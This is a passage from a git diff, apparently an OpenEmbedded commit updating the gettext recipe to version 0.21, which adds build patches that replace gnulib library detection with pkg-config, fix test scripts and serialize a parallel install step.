-- #include <libxml/xmlmemory.h>
-- #include <libxml/xpath.h>
-- ],
-- [xmlCheckVersion (0);
-- xmlFree ((void *) 0);
-- xmlXPathSetContextNode ((void *)0, (void *)0);
-- ],
-- [gl_cv_libxml=yes
-- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
-- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
-- gl_cv_INCXML="$INCXML2"
-- ])
-- if test "$gl_cv_libxml" != yes; then
-- dnl Often the include files are installed in /usr/include/libxml2.
-- dnl In libxml2-2.5, <libxml/xmlversion.h> is self-contained.
-- dnl In libxml2-2.6, it includes <libxml/xmlexports.h> which is
-- dnl self-contained.
-- libxml2_include_dir=
-- AC_TRY_CPP([#include <libxml2/libxml/xmlexports.h>],
-- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlexports.h])
-- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlexports_h" | sed -e 's,.libxml.xmlexports\.h$,,'`
-- ])
-- if test -z "$libxml2_include_dir"; then
-- AC_TRY_CPP([#include <libxml2/libxml/xmlversion.h>],
-- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlversion.h])
-- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlversion_h" | sed -e 's,.libxml.xmlversion\.h$,,'`
-- ])
-- fi
-- if test -n "$libxml2_include_dir" && test -d "$libxml2_include_dir"; then
-- CPPFLAGS="$gl_save_CPPFLAGS -I$libxml2_include_dir"
-- AC_TRY_LINK([#include <libxml/xmlversion.h>
-- #include <libxml/xmlmemory.h>
-- #include <libxml/xpath.h>
-- ],
-- [xmlCheckVersion (0);
-- xmlFree ((void *) 0);
-- xmlXPathSetContextNode ((void *)0, (void *)0);
-- ],
-- [gl_cv_libxml=yes
-- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
-- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
-- gl_cv_INCXML="-I$libxml2_include_dir"
-- ])
-- fi
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libxml])
-- AC_MSG_RESULT([$gl_cv_libxml])
-- if test $gl_cv_libxml = yes; then
-- LIBXML="$gl_cv_LIBXML"
-- LTLIBXML="$gl_cv_LTLIBXML"
-- INCXML="$gl_cv_INCXML"
-- else
-- gl_cv_libxml_use_included=yes
-- fi
-+ PKG_CHECK_MODULES([XML], [libxml-2.0])
-+ LIBXML=$XML_LIBS
-+ LTLIBXML=$XML_LIBS
-+ INCXML=$XML_CFLAGS
- fi
- AC_SUBST([LIBXML])
- AC_SUBST([LTLIBXML])
-diff --git a/gnulib-local/lib/term-styled-ostream.oo.c b/gnulib-local/lib/term-styled-ostream.oo.c
-index 81a407467..218565329 100644
---- a/gettext-tools/gnulib-lib/term-styled-ostream.oo.c
-+++ b/gettext-tools/gnulib-lib/term-styled-ostream.oo.c
-@@ -25,4 +25,4 @@
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
-@@ -31 +31 @@
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
-@@ -33 +33 @@
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
diff --git a/meta/recipes-core/gettext/gettext-0.21/0001-init-env.in-do-not-add-C-CXX-parameters.patch b/meta/recipes-core/gettext/gettext-0.21/0001-init-env.in-do-not-add-C-CXX-parameters.patch
new file mode 100644
index 0000000000..d45b75869a
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/0001-init-env.in-do-not-add-C-CXX-parameters.patch
@@ -0,0 +1,29 @@
+From 9b912a47f790a7b282ec0c2295a188c5d8fb6a7c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 6 Mar 2020 21:04:05 +0000
+Subject: [PATCH] init-env.in: do not add C/CXX parameters
+
+These are taken from the cross environment and include
+sysroot paths, so are not reproducible.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ gettext-tools/tests/init-env.in | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/gettext-tools/tests/init-env.in b/gettext-tools/tests/init-env.in
+index cc84ffd..b69c990 100644
+--- a/gettext-tools/tests/init-env.in
++++ b/gettext-tools/tests/init-env.in
+@@ -3,10 +3,6 @@ top_builddir=../..
+
+ OBJEXT="@OBJEXT@"
+ EXEEXT="@EXEEXT@"
+-CC="@CC@"
+-CFLAGS="@CFLAGS@"
+-CXX="@CXX@"
+-CXXFLAGS="@CXXFLAGS@"
+ CPPFLAGS="@CPPFLAGS@"
+ LDFLAGS="@LDFLAGS@"
+ LTLIBINTL="@LTLIBINTL@"
diff --git a/meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch b/meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch
new file mode 100644
index 0000000000..727d1db552
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch
@@ -0,0 +1,29 @@
+From 2f127ebe425c97b0641fe1bc73247e91e18c2be0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 11 Nov 2021 22:06:16 +0100
+Subject: [PATCH] libtextstyle: fix builds with automake 1.16.4 and newer
+
+Upstream-Status: Submitted [http://savannah.gnu.org/bugs/?59929]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ libtextstyle/configure.ac | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/libtextstyle/configure.ac b/libtextstyle/configure.ac
+index 63b4c2a..cab9025 100644
+--- a/libtextstyle/configure.ac
++++ b/libtextstyle/configure.ac
+@@ -17,11 +17,10 @@ dnl along with this program. If not, see <https://www.gnu.org/licenses/>.
+ dnl Process this file with autoconf to produce a configure script.
+
+ AC_PREREQ([2.63])
+-AC_INIT
++AC_INIT([libtextstyle],
++ [0.20.1])
+ AC_CONFIG_SRCDIR([version.sh])
+ AC_CONFIG_AUX_DIR([build-aux])
+-. $srcdir/version.sh
+-gl_INIT_PACKAGE([libtextstyle], [$VERSION_NUMBER])
+ AM_INIT_AUTOMAKE([1.13 silent-rules])
+ AM_CONFIG_HEADER([config.h])
+
diff --git a/meta/recipes-core/gettext/gettext-0.21/0001-msgmerge-29-Add-executable-file-mode-bits.patch b/meta/recipes-core/gettext/gettext-0.21/0001-msgmerge-29-Add-executable-file-mode-bits.patch
new file mode 100644
index 0000000000..e42a6c0a4d
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/0001-msgmerge-29-Add-executable-file-mode-bits.patch
@@ -0,0 +1,23 @@
+From 71988f83b69c4ed98d1b9418da80edf11a931894 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 23 Sep 2020 22:08:34 -0700
+Subject: [PATCH] msgmerge-29: Add executable file mode bits
+
+This script is installed with default mode bits and executed directly
+e.g ./msgmerge-29 when doing make check which results in
+
+/bin/bash: line 9: ./msgmerge-29: Permission denied
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gettext-tools/tests/msgmerge-29 | 0
+ 1 file changed, 0 insertions(+), 0 deletions(-)
+ mode change 100644 => 100755 gettext-tools/tests/msgmerge-29
+
+diff --git a/gettext-tools/tests/msgmerge-29 b/gettext-tools/tests/msgmerge-29
+old mode 100644
+new mode 100755
+--
+2.28.0
+
diff --git a/meta/recipes-core/gettext/gettext-0.21/0001-tests-autopoint-3-unset-MAKEFLAGS.patch b/meta/recipes-core/gettext/gettext-0.21/0001-tests-autopoint-3-unset-MAKEFLAGS.patch
new file mode 100644
index 0000000000..b0bc6b97a6
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/0001-tests-autopoint-3-unset-MAKEFLAGS.patch
@@ -0,0 +1,26 @@
+From 38b256e5aa7dfeb42acffd89565e53a2c0bab3e3 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 7 Jan 2020 16:44:38 +0100
+Subject: [PATCH] tests/autopoint-3: unset MAKEFLAGS
+
+This is needed when running ptests, as the MAKEFLAGS value (set up by run-ptest)
+is messing up the test.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ gettext-tools/tests/autopoint-3 | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/gettext-tools/tests/autopoint-3 b/gettext-tools/tests/autopoint-3
+index e13552b..55188df 100755
+--- a/gettext-tools/tests/autopoint-3
++++ b/gettext-tools/tests/autopoint-3
+@@ -126,6 +126,7 @@ test $? = 0 || { cat autopoint.err; Exit 1; }
+ ${CONFIG_SHELL} ./configure >/dev/null 2>autpoint.err
+ test $? = 0 || { cat autopoint.err; Exit 1; }
+
++unset MAKEFLAGS
+ ${MAKE} >/dev/null 2>autopoint.err
+ test $? = 0 || { cat autopoint.err; Exit 1; }
+
diff --git a/meta/recipes-core/gettext/gettext-0.21/mingw.patch b/meta/recipes-core/gettext/gettext-0.21/mingw.patch
new file mode 100644
index 0000000000..b062c784f6
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/mingw.patch
@@ -0,0 +1,28 @@
+From 7cf68dffb2adb76375bfb0781e277510523a1f3e Mon Sep 17 00:00:00 2001
+From: Michele Locati <michele@locati.it>
+Date: Thu, 30 Jul 2020 18:58:02 +0200
+Subject: [PATCH] build: Fix build failure on Cygwin and mingw.
+
+* gettext-tools/woe32dll/gettextsrc-exports.c: Export formatstring_ruby.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ gettext-tools/woe32dll/gettextsrc-exports.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/gettext-tools/woe32dll/gettextsrc-exports.c b/gettext-tools/woe32dll/gettextsrc-exports.c
+index 4477ae8..6d76089 100644
+--- a/gettext-tools/woe32dll/gettextsrc-exports.c
++++ b/gettext-tools/woe32dll/gettextsrc-exports.c
+@@ -50,6 +50,7 @@ VARIABLE(formatstring_python)
+ VARIABLE(formatstring_python_brace)
+ VARIABLE(formatstring_qt)
+ VARIABLE(formatstring_qt_plural)
++VARIABLE(formatstring_ruby)
+ VARIABLE(formatstring_scheme)
+ VARIABLE(formatstring_sh)
+ VARIABLE(formatstring_smalltalk)
+--
+1.9.1
+
diff --git a/meta/recipes-core/gettext/gettext-0.21/parallel.patch b/meta/recipes-core/gettext/gettext-0.21/parallel.patch
new file mode 100644
index 0000000000..d96a376b7d
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/parallel.patch
@@ -0,0 +1,32 @@
+From 4a2a0a93b469093b60ffd0bec55d33d1e03d4713 Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Thu, 7 Jun 2012 16:37:01 -0700
+Subject: [PATCH] instal libgettextlib.a before removing it
+
+In a multiple job build, Makefile can simultaneously
+be installing and removing libgettextlib.a. We serialize
+the operations.
+
+Upstream-Status: Pending
+
+Signed-off-by: Joe Slater <jslater@windriver.com>
+
+---
+ gettext-tools/gnulib-lib/Makefile.am | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/gettext-tools/gnulib-lib/Makefile.am b/gettext-tools/gnulib-lib/Makefile.am
+index 2126699..d2dd7e4 100644
+--- a/gettext-tools/gnulib-lib/Makefile.am
++++ b/gettext-tools/gnulib-lib/Makefile.am
+@@ -58,6 +58,10 @@ endif
+ # Rules generated and collected by gnulib-tool.
+ include Makefile.gnulib
+
++# defined in Makefile.gnulib but missing this dependency
++#
++install-exec-clean: install-libLTLIBRARIES
++
+ # OS/2 does not support a DLL name longer than 8 characters.
+ if OS2
+ libgettextlib_la_LDFLAGS += -os2dllname gtlib
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/run-ptest b/meta/recipes-core/gettext/gettext-0.21/run-ptest
index f17f3c87a7..f17f3c87a7 100644
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/run-ptest
+++ b/meta/recipes-core/gettext/gettext-0.21/run-ptest
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/serial-tests-config.patch b/meta/recipes-core/gettext/gettext-0.21/serial-tests-config.patch
index 31ff9138a9..93f7c03334 100644
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/serial-tests-config.patch
+++ b/meta/recipes-core/gettext/gettext-0.21/serial-tests-config.patch
@@ -1,4 +1,4 @@
-From c4b1f3a0c7b7c40b343be9b95deb84e0485643be Mon Sep 17 00:00:00 2001
+From ed64a5724ef7d6eb4e9a876f817ea266a536e195 Mon Sep 17 00:00:00 2001
From: "Hongjun.Yang" <hongjun.yang@windriver.com>
Date: Thu, 28 Jul 2016 12:36:15 +0800
Subject: [PATCH] fix for ptest
@@ -8,6 +8,7 @@ Add serial-tests support, ptest need it
Upstream-Status: Inappropriate [oe specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
---
configure.ac | 2 +-
gettext-runtime/configure.ac | 2 +-
@@ -15,24 +16,24 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 5e996fa..880581f 100644
+index 38db6fd..f019ae0 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -23,7 +23,7 @@ AC_INIT([gettext],
- [bug-gnu-gettext@gnu.org])
+@@ -22,7 +22,7 @@ AC_INIT([gettext],
+ [bug-gettext@gnu.org])
AC_CONFIG_SRCDIR([gettext-tools/src/msgfmt.c])
AC_CONFIG_AUX_DIR([build-aux])
--AM_INIT_AUTOMAKE([1.13 silent-rules parallel-tests dist-xz dist-lzip])
-+AM_INIT_AUTOMAKE([1.13 silent-rules serial-tests dist-xz dist-lzip])
+-AM_INIT_AUTOMAKE([1.13 silent-rules parallel-tests tar-ustar])
++AM_INIT_AUTOMAKE([1.13 silent-rules serial-tests tar-ustar])
dnl Override automake's tar command used for creating distributions.
- am__tar='${AMTAR} chof - --owner=root --group=root "$$tardir"'
+ am__tar='${AMTAR} chf - --format=ustar --owner=root --group=root "$$tardir"'
diff --git a/gettext-runtime/configure.ac b/gettext-runtime/configure.ac
-index e9299b6..d4f5528 100644
+index de203e7..138a07f 100644
--- a/gettext-runtime/configure.ac
+++ b/gettext-runtime/configure.ac
@@ -22,7 +22,7 @@ AC_INIT([gettext-runtime],
- [bug-gnu-gettext@gnu.org])
+ [bug-gettext@gnu.org])
AC_CONFIG_SRCDIR([intl/dcigettext.c])
AC_CONFIG_AUX_DIR([../build-aux])
-AM_INIT_AUTOMAKE([1.11.1 silent-rules parallel-tests])
@@ -41,11 +42,11 @@ index e9299b6..d4f5528 100644
dnl Installation directories.
diff --git a/gettext-tools/configure.ac b/gettext-tools/configure.ac
-index 920eeb6..c507434 100644
+index cf1dd73..b544d6d 100644
--- a/gettext-tools/configure.ac
+++ b/gettext-tools/configure.ac
@@ -22,7 +22,7 @@ AC_INIT([gettext-tools],
- [bug-gnu-gettext@gnu.org])
+ [bug-gettext@gnu.org])
AC_CONFIG_SRCDIR([src/msgfmt.c])
AC_CONFIG_AUX_DIR([../build-aux])
-AM_INIT_AUTOMAKE([1.11.1 silent-rules parallel-tests])
@@ -53,6 +54,3 @@ index 920eeb6..c507434 100644
AC_CONFIG_HEADERS([config.h])
dnl Installation directories.
---
-2.1.4
-
diff --git a/meta/recipes-core/gettext/gettext-0.21/use-pkgconfig.patch b/meta/recipes-core/gettext/gettext-0.21/use-pkgconfig.patch
new file mode 100644
index 0000000000..fc77feb270
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-0.21/use-pkgconfig.patch
@@ -0,0 +1,699 @@
+From 15647f679834be633fb4a9aeff4671b9cb95ccb8 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Tue, 23 Jan 2018 00:54:13 +0000
+Subject: [PATCH] gettext: beat library detection into shape
+
+For reasons which I just can't fathom gnulib doesn't use the expected tools to
+find libraries but badly reinvents the wheel. This will trivially lead to host
+contamination (explicit searches of /usr/lib) or incorrect RPATHs (bad
+canonicalisation resulting in relative paths).
+
+Simply delete all the crazy, and replace with a single call to pkg-config.
+
+Upstream-Status: Inappropriate [upstream still refuse to consider pkg-config]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+
+---
+ gettext-tools/gnulib-m4/libxml.m4 | 99 +----------------
+ .../gnulib-local/lib/term-styled-ostream.oo.c | 12 +--
+ libtextstyle/gnulib-local/m4/libcroco.m4 | 99 +++--------------
+ libtextstyle/gnulib-local/m4/libglib.m4 | 100 +++---------------
+ libtextstyle/gnulib-m4/libcroco.m4 | 99 +++--------------
+ libtextstyle/gnulib-m4/libglib.m4 | 100 +++---------------
+ libtextstyle/lib/term-styled-ostream.c | 12 +--
+ libtextstyle/lib/term-styled-ostream.oo.c | 12 +--
+ 8 files changed, 83 insertions(+), 450 deletions(-)
+
+diff --git a/gettext-tools/gnulib-m4/libxml.m4 b/gettext-tools/gnulib-m4/libxml.m4
+index 2f80c37..30ce58e 100644
+--- a/gettext-tools/gnulib-m4/libxml.m4
++++ b/gettext-tools/gnulib-m4/libxml.m4
+@@ -13,6 +13,7 @@ dnl gl_LIBXML(FORCE-INCLUDED)
+ dnl forces the use of the included or an external libxml.
+ AC_DEFUN([gl_LIBXML],
+ [
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
+ AC_REQUIRE([AM_ICONV_LINK])
+
+ ifelse([$1], , [
+@@ -30,100 +31,10 @@ AC_DEFUN([gl_LIBXML],
+ INCXML=
+ ifelse([$1], [yes], , [
+ if test "$gl_cv_libxml_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libxml2, or have to use
+- dnl the included one.
+- AC_CACHE_VAL([gl_cv_libxml], [
+- gl_cv_libxml=no
+- gl_cv_LIBXML=
+- gl_cv_LTLIBXML=
+- gl_cv_INCXML=
+- gl_save_LIBS="$LIBS"
+- LIBS="$LIBS $LIBICONV"
+- dnl Search for libxml2 and define LIBXML2, LTLIBXML2 and INCXML2
+- dnl accordingly.
+- dnl Don't use xml2-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- dnl Use a test program that tries to invoke xmlFree. On Cygwin 1.7.x,
+- dnl libxml2 is built in such a way that uses of xmlFree work fine with
+- dnl -Wl,--enable-auto-import but lead to a link error with
+- dnl -Wl,--disable-auto-import.
+- AC_LIB_LINKFLAGS_BODY([xml2])
+- LIBS="$gl_save_LIBS $LIBXML2 $LIBICONV"
+- AC_TRY_LINK([#include <libxml/xmlversion.h>
+- #include <libxml/xmlmemory.h>
+- #include <libxml/xpath.h>
+- ],
+- [xmlCheckVersion (0);
+- xmlFree ((void *) 0);
+- xmlXPathSetContextNode ((void *)0, (void *)0);
+- ],
+- [gl_cv_libxml=yes
+- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
+- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
+- ])
+- if test "$gl_cv_libxml" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCXML2"
+- AC_TRY_LINK([#include <libxml/xmlversion.h>
+- #include <libxml/xmlmemory.h>
+- #include <libxml/xpath.h>
+- ],
+- [xmlCheckVersion (0);
+- xmlFree ((void *) 0);
+- xmlXPathSetContextNode ((void *)0, (void *)0);
+- ],
+- [gl_cv_libxml=yes
+- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
+- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
+- gl_cv_INCXML="$INCXML2"
+- ])
+- if test "$gl_cv_libxml" != yes; then
+- dnl Often the include files are installed in /usr/include/libxml2.
+- dnl In libxml2-2.5, <libxml/xmlversion.h> is self-contained.
+- dnl In libxml2-2.6, it includes <libxml/xmlexports.h> which is
+- dnl self-contained.
+- libxml2_include_dir=
+- AC_TRY_CPP([#include <libxml2/libxml/xmlexports.h>],
+- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlexports.h])
+- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlexports_h" | sed -e 's,.libxml.xmlexports\.h$,,'`
+- ])
+- if test -z "$libxml2_include_dir"; then
+- AC_TRY_CPP([#include <libxml2/libxml/xmlversion.h>],
+- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlversion.h])
+- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlversion_h" | sed -e 's,.libxml.xmlversion\.h$,,'`
+- ])
+- fi
+- if test -n "$libxml2_include_dir" && test -d "$libxml2_include_dir"; then
+- CPPFLAGS="$gl_save_CPPFLAGS -I$libxml2_include_dir"
+- AC_TRY_LINK([#include <libxml/xmlversion.h>
+- #include <libxml/xmlmemory.h>
+- #include <libxml/xpath.h>
+- ],
+- [xmlCheckVersion (0);
+- xmlFree ((void *) 0);
+- xmlXPathSetContextNode ((void *)0, (void *)0);
+- ],
+- [gl_cv_libxml=yes
+- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
+- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
+- gl_cv_INCXML="-I$libxml2_include_dir"
+- ])
+- fi
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for libxml])
+- AC_MSG_RESULT([$gl_cv_libxml])
+- if test $gl_cv_libxml = yes; then
+- LIBXML="$gl_cv_LIBXML"
+- LTLIBXML="$gl_cv_LTLIBXML"
+- INCXML="$gl_cv_INCXML"
+- else
+- gl_cv_libxml_use_included=yes
+- fi
++ PKG_CHECK_MODULES([XML], [libxml-2.0])
++ LIBXML=$XML_LIBS
++ LTLIBXML=$XML_LIBS
++ INCXML=$XML_CFLAGS
+ fi
+ ])
+ AC_SUBST([LIBXML])
+diff --git a/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c b/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
+index 2ff978f..5ffb17a 100644
+--- a/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
++++ b/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
+@@ -22,15 +22,15 @@
+
+ #include <stdlib.h>
+
+-#include <cr-om-parser.h>
+-#include <cr-sel-eng.h>
+-#include <cr-style.h>
+-#include <cr-rgb.h>
++#include <libcroco/cr-om-parser.h>
++#include <libcroco/cr-sel-eng.h>
++#include <libcroco/cr-style.h>
++#include <libcroco/cr-rgb.h>
+ /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
+ #ifndef __CR_FONTS_H__
+-# include <cr-fonts.h>
++# include <libcroco/cr-fonts.h>
+ #endif
+-#include <cr-string.h>
++#include <libcroco/cr-string.h>
+
+ #include "term-ostream.h"
+ #include "mem-hash-map.h"
+diff --git a/libtextstyle/gnulib-local/m4/libcroco.m4 b/libtextstyle/gnulib-local/m4/libcroco.m4
+index bc53cc6..10b2455 100644
+--- a/libtextstyle/gnulib-local/m4/libcroco.m4
++++ b/libtextstyle/gnulib-local/m4/libcroco.m4
+@@ -1,99 +1,34 @@
+-# libcroco.m4 serial 3
+-dnl Copyright (C) 2006-2007, 2019 Free Software Foundation, Inc.
++# libcroco.m4 serial 2 (gettext-0.17)
++dnl Copyright (C) 2006, 2015-2016 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+ dnl From Bruno Haible.
+
+-dnl gl_LIBCROCO
+-dnl gives the user the option to decide whether to use the included or
+-dnl an external libcroco.
+-dnl gl_LIBCROCO(FORCE-INCLUDED)
+-dnl forces the use of the included or an external libcroco.
+ AC_DEFUN([gl_LIBCROCO],
+ [
+- ifelse([$1], [yes], , [
+- dnl libcroco depends on libglib.
+- AC_REQUIRE([gl_LIBGLIB])
+- ])
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
++ dnl libcroco depends on libglib.
++ AC_REQUIRE([gl_LIBGLIB])
+
+- ifelse([$1], , [
+- AC_MSG_CHECKING([whether included libcroco is requested])
+- AC_ARG_WITH([included-libcroco],
+- [ --with-included-libcroco use the libcroco included here],
+- [gl_cv_libcroco_force_included=$withval],
+- [gl_cv_libcroco_force_included=no])
+- AC_MSG_RESULT([$gl_cv_libcroco_force_included])
+- ], [gl_cv_libcroco_force_included=$1])
++ AC_MSG_CHECKING([whether included libcroco is requested])
++ AC_ARG_WITH([included-libcroco],
++ [ --with-included-libcroco use the libcroco included here],
++ [gl_cv_libcroco_force_included=$withval],
++ [gl_cv_libcroco_force_included=no])
++ AC_MSG_RESULT([$gl_cv_libcroco_force_included])
+
+ gl_cv_libcroco_use_included="$gl_cv_libcroco_force_included"
+ LIBCROCO=
+ LTLIBCROCO=
+ INCCROCO=
+- ifelse([$1], [yes], , [
+- if test "$gl_cv_libcroco_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
+- dnl use the included one.
+- AC_CACHE_VAL([gl_cv_libcroco], [
+- gl_cv_libcroco=no
+- gl_cv_LIBCROCO=
+- gl_cv_LTLIBCROCO=
+- gl_cv_INCCROCO=
+- gl_save_LIBS="$LIBS"
+- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
+- dnl INCCROCO_0_6 accordingly.
+- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
+- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
+- AC_TRY_LINK([#include <libcroco-config.h>],
+- [const char *version = LIBCROCO_VERSION; return !version;],
+- [gl_cv_libcroco=yes
+- gl_cv_LIBCROCO="$LIBCROCO_0_6"
+- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
+- ])
+- if test "$gl_cv_libcroco" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
+- AC_TRY_LINK([#include <libcroco-config.h>],
+- [const char *version = LIBCROCO_VERSION; return !version;],
+- [gl_cv_libcroco=yes
+- gl_cv_LIBCROCO="$LIBCROCO_0_6"
+- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
+- gl_cv_INCCROCO="$INCCROCO_0_6"
+- ])
+- if test "$gl_cv_libcroco" != yes; then
+- dnl Often the include files are installed in
+- dnl /usr/include/libcroco-0.6/libcroco.
+- AC_TRY_LINK([#include <libcroco-0.6/libcroco/libcroco-config.h>],
+- [const char *version = LIBCROCO_VERSION; return !version;],
+- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
+- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
+- if test -d "$libcroco_include_dir"; then
+- gl_cv_libcroco=yes
+- gl_cv_LIBCROCO="$LIBCROCO_0_6"
+- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
+- gl_cv_INCCROCO="-I$libcroco_include_dir"
+- fi
+- ])
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for libcroco])
+- AC_MSG_RESULT([$gl_cv_libcroco])
+- if test $gl_cv_libcroco = yes; then
+- LIBCROCO="$gl_cv_LIBCROCO"
+- LTLIBCROCO="$gl_cv_LTLIBCROCO"
+- INCCROCO="$gl_cv_INCCROCO"
+- else
+- gl_cv_libcroco_use_included=yes
+- fi
+- fi
+- ])
++ if test "$gl_cv_libcroco_use_included" != yes; then
++ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
++ LIBCROCO=$CROCO_LIBS
++ LTLIBCROCO=$CROCO_LIBS
++ INCCROCO=$CROCO_CFLAGS
++ fi
+ AC_SUBST([LIBCROCO])
+ AC_SUBST([LTLIBCROCO])
+ AC_SUBST([INCCROCO])
+diff --git a/libtextstyle/gnulib-local/m4/libglib.m4 b/libtextstyle/gnulib-local/m4/libglib.m4
+index 5853772..767fba2 100644
+--- a/libtextstyle/gnulib-local/m4/libglib.m4
++++ b/libtextstyle/gnulib-local/m4/libglib.m4
+@@ -6,100 +6,26 @@ dnl with or without modifications, as long as this notice is preserved.
+
+ dnl From Bruno Haible.
+
+-dnl gl_LIBGLIB
+-dnl gives the user the option to decide whether to use the included or
+-dnl an external libglib.
+-dnl gl_LIBGLIB(FORCE-INCLUDED)
+-dnl forces the use of the included or an external libglib.
+ AC_DEFUN([gl_LIBGLIB],
+ [
+- ifelse([$1], , [
+- AC_MSG_CHECKING([whether included glib is requested])
+- AC_ARG_WITH([included-glib],
+- [ --with-included-glib use the glib2 included here],
+- [gl_cv_libglib_force_included=$withval],
+- [gl_cv_libglib_force_included=no])
+- AC_MSG_RESULT([$gl_cv_libglib_force_included])
+- ], [gl_cv_libglib_force_included=$1])
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
++ AC_MSG_CHECKING([whether included glib is requested])
